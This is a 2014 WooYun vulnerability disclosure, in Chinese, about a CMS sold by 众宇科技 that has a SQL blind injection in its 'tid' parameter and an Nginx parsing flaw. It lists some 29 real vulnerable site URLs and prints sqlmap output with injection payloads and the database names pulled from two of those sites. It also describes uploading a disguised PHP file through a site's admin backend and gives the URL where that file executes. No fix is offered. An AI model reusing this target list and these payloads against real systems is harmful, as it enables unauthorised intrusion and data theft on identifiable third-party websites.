当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-079677

漏洞标题：某建站系统通用型SQL盲注一枚+解析漏洞

相关厂商：众宇科技

漏洞作者： 老和尚

提交时间：2014-10-17 12:58

修复时间：2015-01-15 13:00

公开时间：2015-01-15 13:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-01-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

213231

详细说明：

1.众宇科技（http://www.nbzytech.com/）开发的某套CMS程序用于多数网站，遗漏了一个注入。
存在注入参数:tid
漏洞存在页面:
http://www.pinnacles.cc/cn/products.php?tid=3
http://www.china-south.net/cn/products.php?tid=15
http://www.angricht.com/cn/products.php?tid=54
http://www.beifa.com/cn/products.php?tid=98
http://www.chinafirs.com/products.php?tid=1
http://www.mamabebe.cn/cn/products.php?tid=8
http://www.cn-moeller.com/cn/products.php?tid=14
http://www.3wen365.com/cn/products.php?tid=25
http://www.yourlonglighting.com/cn/products.php?tid=39
http://www.blxinyu.com/products.php?tid=4
http://www.austinelec.com/cn/products.php?tid=9
http://www.nbopen.net/products.php?tid=30
http://www.nbxjqd.com/cn/products.php?tid=1
http://www.jinhenglihe.com/products.php?tid=36
http://www.nbbhqy.com/cn/products.php?tid=2&page=2
http://www.nbxxmc.com/cn/products.php?tid=3
http://www.nbyuandian.com/cn/products.php?tid=3
http://www.nbnyjx.com/products.php?tid=17
http://www.xishisw.com/cn/products.php?tid=2
http://test.nbzytech.com/hongxuan/cn/products.php?tid=3&page=3
http://www.cicidz.com/cn/products.php?tid=5
http://www.shengyate.com/cn/products.php?tid=30
http://www.nbxhjd.com/products.php?tid=8
http://www.nbgfsg.com/cn/products.php?tid=1
http://www.npjet.com/products.php?tid=2
http://www.nbmkty.com/cn/products.php?tid=11
http://www.nbdayue.com/cn/products.php?tid=3
http://www.nbqhhl.com/cn/products.php?tid=5
http://www.krosor.com/cn/products.php?tid=8

漏洞证明：

我找几个去试试。

GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: tid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tid=8) AND 5753=5753 AND (5638=5638
    Type: UNION query
    Title: MySQL UNION query (NULL) - 27 columns
    Payload: tid=8) UNION ALL SELECT NULL,CONCAT(0x7162766471,0x707742725948654a
4a65,0x7179726a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: tid=8) AND SLEEP(5) AND (8021=8021
---
[14:35:30] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.2, Nginx
back-end DBMS: MySQL 5.0.11
[14:35:30] [INFO] fetching database names
available databases [2]:
[*] danmai
[*] information_schema
[14:35:30] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.krosor.com'
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 46 HTTP(s) requ
ests:
---
Place: GET
Parameter: tid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tid=5) AND 4651=4651 AND (2916=2916
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: tid=5) UNION ALL SELECT NULL,CONCAT(0x716e7a6571,0x6756636d4c746867
776e,0x7169707571),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: tid=5) AND SLEEP(5) AND (4017=4017
---
[14:48:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.2, Nginx
back-end DBMS: MySQL 5.0.11
[14:48:02] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] qianhai
[14:48:02] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.nbqhhl.com'


2.接下来我们看看解析的，所有网站都是Nginx低版本的,所以造成解析漏洞。
首先我建立一个 1.jpg图片格式文件里面写上 phpinfo看图如下。

QQ图片20141016222705.png


然后登陆一个后台。去找地方传图片。

QQ图片20141016222726.jpg


QQ图片20141016222746.jpg


QQ图片20141016222806.jpg


ok、解析成功、、
http://www.jinhenglihe.com/upload/2014092815291641.jpg/1.php

修复方案：

然后测试一下把，审核能不能给多点RMB

版权声明：转载请注明来源 老和尚@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝